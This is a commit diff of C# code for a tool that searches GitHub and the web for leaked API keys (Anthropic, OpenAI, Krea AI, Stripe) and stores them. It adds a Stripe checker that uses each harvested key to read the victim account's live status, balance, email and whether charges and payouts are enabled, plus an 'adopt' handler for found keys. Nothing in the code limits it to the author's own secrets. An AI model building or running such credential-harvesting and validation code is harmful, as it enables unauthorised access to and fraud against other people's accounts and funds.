feat: Stripe-Key-Checker, Krea AI Pattern, Scan-Progress-Tracking

- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), Live/Test-Erkennung, Balance, Account-Details
- KeyPatterns: Stripe-Patterns einkommentiert (sk_live_, sk_test_), Krea AI Pattern (UUID:Token), Mindest-Suchlänge 4
- KeyScannerService: Stripe-Check integriert, Auto-Check nach Scan entfernt (manuell separat), Progress-Tracking (Phase, Detail, Current/Total, KeysFound)
- ApiKeysEndpoint: Stripe in HandleCheck/HandleCheckAll/HandleAdopt, Progress im Status-Endpoint
- Frontend: Live-Fortschrittsanzeige mit Spinner, Phase, Query, Counter, Polling 1.5s, Krea AI in typeNames/typeIcons
This commit is contained in:
Meleki committed 2026-03-14 14:34:02 +01:00
1 parent 122000487c
commit 3cd35ebbfa
6 files changed
+326 -14

No files matched your search

+8 -1
View File
@@ -19,6 +19,9 @@ public static class KeyPatterns
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01", "anthropic_oauth"),
(@"sk-ant-api03-[A-Za-z0-9_\-]{95}", "sk-ant-api03", "anthropic_api"),
// Krea AI (UUID:Base32Token)
(@"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}:[A-Za-z0-9]{32}", "krea", "krea_ai"),
// OpenAI
(@"sk-proj-[A-Za-z0-9_\-]{80,200}", "sk-proj-", "openai_project"),
(@"sk-svcacct-[A-Za-z0-9_\-]{80,200}", "sk-svcacct-", "openai_service"),
@@ -56,7 +59,7 @@ public static class KeyPatterns
/// Filtert zu generische Suchterme aus (z.B. "sk-", "SG.", "SK").
/// </summary>
public static readonly (string Pattern, string SearchTerm, string Type)[] ForCodeSearch =
All.Where(p => p.SearchTerm.Length >= 5).ToArray();
All.Where(p => p.SearchTerm.Length >= 4).ToArray();
// ── Kompilierte Regexe (einmalig, alle Patterns) ──
@@ -84,6 +87,9 @@ public static class KeyPatterns
if (key.StartsWith("hf_", StringComparison.Ordinal)) return "huggingface";
if (key.StartsWith("SG.", StringComparison.Ordinal)) return "sendgrid";
if (key.StartsWith("xoxb-", StringComparison.Ordinal)) return "slack";
// Krea AI: UUID:Token Format
if (key.Length == 69 && key[8] == '-' && key[13] == '-' && key[18] == '-' && key[23] == '-' && key[36] == ':')
return "krea_ai";
return "unknown";
}
@@ -114,6 +120,7 @@ public static class KeyPatterns
"stripe_test" => "Stripe Test",
"sendgrid" => "SendGrid",
"slack" => "Slack",
"krea_ai" => "Krea AI",
_ => type
};
}
+53 -1
View File
@@ -33,10 +33,38 @@ public class KeyScannerService : BackgroundService
private readonly ManualResetEventSlim _triggerNow = new(false);
private string _scanMode = "full"; // full, quick, web
// Progress-Tracking
private string _progressPhase = "";
private string _progressDetail = "";
private int _progressCurrent;
private int _progressTotal;
private int _progressKeysFound;
public bool IsRunning { get { lock (_lock) return _isRunning; } }
public string LastRun { get { lock (_lock) return _lastRun; } }
public string LastResult { get { lock (_lock) return _lastResult; } }
public (string Phase, string Detail, int Current, int Total, int KeysFound) Progress
{
get { lock (_lock) return (_progressPhase, _progressDetail, _progressCurrent, _progressTotal, _progressKeysFound); }
}
private void SetProgress(string phase, string detail = "", int current = 0, int total = 0)
{
lock (_lock)
{
_progressPhase = phase;
_progressDetail = detail;
_progressCurrent = current;
_progressTotal = total;
}
}
private void IncrementKeysFound()
{
lock (_lock) _progressKeysFound++;
}
private void AddLog(string type, string message, string details = null)
{
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
@@ -161,6 +189,8 @@ public class KeyScannerService : BackgroundService
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
AddLog("scan", modeLabel + "-Scan gestartet");
lock (_lock) _progressKeysFound = 0;
SetProgress("Starte " + modeLabel + "-Scan…");
var newKeysFound = 0;
var totalFound = 0;
@@ -174,6 +204,7 @@ public class KeyScannerService : BackgroundService
// Web: nur Serper
if (mode != "web" && !string.IsNullOrWhiteSpace(_githubToken))
{
SetProgress("GitHub Code Search", "Starte…");
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
@@ -181,6 +212,7 @@ public class KeyScannerService : BackgroundService
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
{
SetProgress("Web-Suche (Serper)", "Starte…");
var spKeys = await ScanSerper(ct);
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
@@ -189,9 +221,13 @@ public class KeyScannerService : BackgroundService
totalFound = allFoundKeys.Count;
// Phase 2: Neue Keys in DB speichern (dedupliziert)
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", 0, totalFound);
var seen = new HashSet<string>(StringComparer.Ordinal);
var saveIdx = 0;
foreach (var (key, sourceUrl, source) in allFoundKeys)
{
saveIdx++;
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
if (!seen.Add(key)) continue;
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
@@ -201,6 +237,7 @@ public class KeyScannerService : BackgroundService
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
IncrementKeysFound();
await _db.CreateScannedKey(new ScannedKeyRecord
{
ScannedKeyId = Guid.NewGuid().ToString("N"),
@@ -234,6 +271,7 @@ public class KeyScannerService : BackgroundService
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu";
}
SetProgress("Abgeschlossen", _lastResult);
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
}
catch (OperationCanceledException) { /* shutdown */ }
@@ -286,6 +324,7 @@ public class KeyScannerService : BackgroundService
{
ct.ThrowIfCancellationRequested();
var (query, regex) = queries[i];
SetProgress("GitHub Code Search (Quick)", query, i + 1, queries.Count);
try
{
@@ -295,6 +334,7 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
SetProgress("GitHub Code Search (Quick)", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
await Task.Delay(60_000, ct);
}
@@ -323,6 +363,7 @@ public class KeyScannerService : BackgroundService
{
ct.ThrowIfCancellationRequested();
var (query, regex) = queries[i];
SetProgress("GitHub Code Search", query, i + 1, queries.Count);
try
{
@@ -332,6 +373,7 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
SetProgress("GitHub Code Search", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
await Task.Delay(60_000, ct);
try
@@ -484,9 +526,11 @@ public class KeyScannerService : BackgroundService
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
foreach (var (pattern, searchTerm, _) in SearchPatterns)
for (int i = 0; i < SearchPatterns.Length; i++)
{
var (pattern, searchTerm, _) = SearchPatterns[i];
ct.ThrowIfCancellationRequested();
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
var regex = new Regex(pattern, RegexOptions.Compiled);
try
@@ -567,6 +611,14 @@ public class KeyScannerService : BackgroundService
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "stripe_live" || type == "stripe_test")
{
var result = await StripeKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, is_live = result.IsLiveKey, account_id = result.AccountId, account_name = result.AccountName, account_email = result.AccountEmail, country = result.AccountCountry, balance_available = result.BalanceAvailable, balance_pending = result.BalancePending, currency = result.Currency, charges_enabled = result.ChargesEnabled, payouts_enabled = result.PayoutsEnabled, source_url = sk.SourceUrl }));
}
else
{
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
+201
View File
@@ -0,0 +1,201 @@
using System;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text.Json;
using System.Threading.Tasks;
namespace Gott.Services
{
public class StripeCheckResult
{
public string Status { get; set; } // "ok", "invalid", "error"
public string Message { get; set; }
public bool IsLiveKey { get; set; }
public string Currency { get; set; }
public long? BalanceAvailable { get; set; }
public long? BalancePending { get; set; }
public string AccountId { get; set; }
public string AccountName { get; set; }
public string AccountEmail { get; set; }
public string AccountCountry { get; set; }
public bool? PayoutsEnabled { get; set; }
public bool? ChargesEnabled { get; set; }
}
public static class StripeKeyChecker
{
public static async Task<StripeCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
{
var client = httpFactory.CreateClient();
client.Timeout = TimeSpan.FromSeconds(30);
var isLive = apiKey.StartsWith("sk_live_", StringComparison.Ordinal);
// Step 1: Check /v1/balance (read-only, no cost)
var balanceRequest = new HttpRequestMessage(HttpMethod.Get, "https://api.stripe.com/v1/balance");
balanceRequest.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
var balanceResp = await client.SendAsync(balanceRequest);
var balanceBody = await balanceResp.Content.ReadAsStringAsync();
var balanceCode = (int)balanceResp.StatusCode;
if (balanceCode == 401)
{
return new StripeCheckResult
{
Status = "invalid",
Message = "Ungültig oder revoked (401)",
IsLiveKey = isLive
};
}
if (balanceCode >= 400)
{
// Parse error
var errorMsg = "Unbekannter Fehler";
try
{
using var errDoc = JsonDocument.Parse(balanceBody);
if (errDoc.RootElement.TryGetProperty("error", out var errObj) &&
errObj.TryGetProperty("message", out var msg))
errorMsg = msg.GetString();
}
catch { }
return new StripeCheckResult
{
Status = "error",
Message = $"API-Fehler ({balanceCode}): {errorMsg}",
IsLiveKey = isLive
};
}
// Parse balance
string currency = null;
long balanceAvailable = 0;
long balancePending = 0;
try
{
using var balDoc = JsonDocument.Parse(balanceBody);
var root = balDoc.RootElement;
if (root.TryGetProperty("available", out var available) && available.GetArrayLength() > 0)
{
var first = available[0];
if (first.TryGetProperty("currency", out var cur))
currency = cur.GetString()?.ToUpperInvariant();
if (first.TryGetProperty("amount", out var amt))
balanceAvailable = amt.GetInt64();
}
if (root.TryGetProperty("pending", out var pending) && pending.GetArrayLength() > 0)
{
var first = pending[0];
if (first.TryGetProperty("amount", out var amt))
balancePending = amt.GetInt64();
}
}
catch { }
// Step 2: Get account info via /v1/account
string accountId = null;
string accountName = null;
string accountEmail = null;
string accountCountry = null;
bool? payoutsEnabled = null;
bool? chargesEnabled = null;
try
{
var accountRequest = new HttpRequestMessage(HttpMethod.Get, "https://api.stripe.com/v1/account");
accountRequest.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
var accountResp = await client.SendAsync(accountRequest);
if ((int)accountResp.StatusCode == 200)
{
var accountBody = await accountResp.Content.ReadAsStringAsync();
using var accDoc = JsonDocument.Parse(accountBody);
var acc = accDoc.RootElement;
if (acc.TryGetProperty("id", out var id))
accountId = id.GetString();
if (acc.TryGetProperty("business_profile", out var bp) && bp.TryGetProperty("name", out var name))
accountName = name.GetString();
if (acc.TryGetProperty("email", out var email))
accountEmail = email.GetString();
if (acc.TryGetProperty("country", out var country))
accountCountry = country.GetString();
if (acc.TryGetProperty("payouts_enabled", out var pe))
payoutsEnabled = pe.GetBoolean();
if (acc.TryGetProperty("charges_enabled", out var ce))
chargesEnabled = ce.GetBoolean();
}
}
catch { }
// Build message
var parts = new System.Collections.Generic.List<string>();
parts.Add(isLive ? "🔴 LIVE Key" : "🟡 Test Key");
if (accountName != null)
parts.Add($"Account: {accountName}");
else if (accountId != null)
parts.Add($"Account: {accountId}");
if (accountEmail != null)
parts.Add($"Email: {accountEmail}");
if (accountCountry != null)
parts.Add($"Land: {accountCountry}");
if (currency != null)
{
var availFormatted = FormatAmount(balanceAvailable, currency);
var pendingFormatted = FormatAmount(balancePending, currency);
parts.Add($"Balance: {availFormatted} verfügbar, {pendingFormatted} ausstehend");
}
if (chargesEnabled.HasValue)
parts.Add(chargesEnabled.Value ? "✅ Charges aktiv" : "❌ Charges deaktiviert");
if (payoutsEnabled.HasValue)
parts.Add(payoutsEnabled.Value ? "✅ Payouts aktiv" : "❌ Payouts deaktiviert");
return new StripeCheckResult
{
Status = "ok",
Message = string.Join(" · ", parts),
IsLiveKey = isLive,
Currency = currency,
BalanceAvailable = balanceAvailable,
BalancePending = balancePending,
AccountId = accountId,
AccountName = accountName,
AccountEmail = accountEmail,
AccountCountry = accountCountry,
PayoutsEnabled = payoutsEnabled,
ChargesEnabled = chargesEnabled
};
}
catch (Exception ex)
{
return new StripeCheckResult
{
Status = "error",
Message = ex.Message,
IsLiveKey = apiKey.StartsWith("sk_live_", StringComparison.Ordinal)
};
}
}
private static string FormatAmount(long amountInCents, string currency)
{
var amount = amountInCents / 100.0;
return $"{amount:N2} {currency}";
}
}
}